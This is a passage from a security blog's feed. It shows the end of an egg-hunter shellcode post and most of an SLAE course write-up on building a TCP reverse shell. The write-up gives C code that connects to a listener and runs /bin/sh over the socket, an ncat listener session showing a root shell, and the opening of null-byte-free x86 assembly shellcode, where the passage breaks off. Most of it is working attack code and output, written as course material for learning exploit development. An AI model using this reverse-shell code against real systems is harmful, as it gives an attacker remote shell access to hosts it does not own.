&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;de&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;46&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s compile and execute shellcode_heap.c:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  &amp;amp;&amp;amp; ./shellcode_heap&lt;/span&gt;
Egg hunter shellcode Length:  34
Egg shellcode Length:  99

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In another windows:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment3/image4.png&quot; alt=&quot;image4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So in this article we just saw how to create a two-staged shellcode. One stage consists in injecting our effective payload (the biggest one) and the second one consists in a small hunter shellcode looking for the first one.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed,&lt;br /&gt;
Don’t hesitate to comment and share.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 2 - TCP Reverse Shellcode</title>
   <link href="https://phackt.org/slae-tcp-reverse-shell"/>
   <updated>2017-04-19T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-tcp-reverse-shell</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;So here we are for the second part of our shellcodes serie. Today we will deal with a reverse TCP shellcode.&lt;br /&gt;
This shellcode will be pretty similar to the bind one, except that we will connect back to the attacker’s machine in order to provide a shell on the compromised one.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;So let’s see what changed.&lt;/p&gt;

&lt;h3 id=&quot;assignment-2&quot;&gt;Assignment 2:&lt;/h3&gt;

&lt;p&gt;Code is available on my &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment2&quot;&gt;github repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Create a Shell_Reverse_TCP shellcode:&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;reverse connects to IP and PORT and spawns a shell&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;easily configurable IP and PORT&lt;/em&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is the C source code we used:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt; 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dstport&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr_in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_family&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//2&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;htons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dstport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//8080&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inet_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//localhost&lt;/span&gt;
 
        &lt;span class=&quot;c1&quot;&gt;// connecting to attacker&apos;s machine&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr_in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Attacker&apos;s machine is not listening. Quitting!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;execve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s listen on port 8080:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ncat &lt;span class=&quot;nt&quot;&gt;-klvp&lt;/span&gt; 8080
Ncat: Version 7.40 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org/ncat &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s connect:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shell_reverse_tcp shell_reverse_tcp.c &amp;amp;&amp;amp; ./shell_reverse_tcp&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we have:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ncat &lt;span class=&quot;nt&quot;&gt;-klvp&lt;/span&gt; 8080
Ncat: Version 7.40 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org/ncat &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38488.
&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So what are the interesting functions:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; ./shell_reverse_tcp &lt;span class=&quot;nt&quot;&gt;-M&lt;/span&gt; intel
...
80485d2: e8 79 fe ff ff call 8048450 &amp;lt;connect@plt&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socket
connect
dup2
execve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s update our previous shellcode to match our new needs:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; shell_bind_tcp.nasm&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; A TCP port bind shellcode&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; Author: SLAE - 891&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; You are free to use and/or redistribute it without restriction&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; sockfd = socket(AF_INET, SOCK_STREAM, 0);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_SOCKET        1&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; zero out eax and edx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; SYS_SOCKET&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;; we are pushing on the stack our arguments&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; IPPROTO_IP&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; SOCK_STREAM&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; AF_INET&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; the top of the stack points to a structure of 3 arguments&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; syscall - result is stored in eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; stores sockfd&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; ret = connect(sockfd, (struct sockaddr *) &amp;amp;mysockaddr, sizeof(struct sockaddr_in));&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_CONNECT       3&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); //localhost&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; useful to avoid null bytes in the IP address&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x901f&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_port = htons(dstport); //8080&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; AF_INET&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; stores the address of mysockaddr&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; length of mysockaddr&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; pointer to mysockaddr&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; sockfd&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; flushing registers&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; SYS_CONNECT&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; pointer to the args for socketcall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;



&lt;span class=&quot;c1&quot;&gt;; int dup2(int oldfd, int newfd); duplicates a file descriptor&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(sockfd, 0); &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(sockfd, 1);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; dup2(sockfd, 2);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_dup2 63&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; sockfd as first argument&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; 2 for stderr / 1 for stdout / 0 for stdin&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;dup2:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;63&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; __NR_dup2&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jns&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dup2&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; jump short if not signed &lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; execve(&quot;/bin/sh&quot;, NULL, NULL);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_execve 11&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
